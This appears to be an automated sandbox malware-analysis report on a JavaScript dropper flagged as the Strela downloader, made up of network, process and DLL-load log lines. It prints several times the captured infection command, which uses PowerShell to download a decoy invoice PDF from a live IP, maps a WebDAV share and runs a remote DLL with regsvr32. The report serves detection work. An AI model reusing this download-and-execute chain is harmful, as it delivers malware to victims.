HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1428313869.00000253EAD46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1497447929.0000023892768000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497447929.000002389279D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1497447929.000002389279D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1497447929.000002389279D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: svchost.exe, 00000009.00000002.2710340932.000001A3F7000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1507323285.000001A3F7200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7636, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 30562134305434372.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7752:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wb20hzob.vfe.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1720,i,18097075523433456659,17666624130765866465,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1720,i,18097075523433456659,17666624130765866465,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
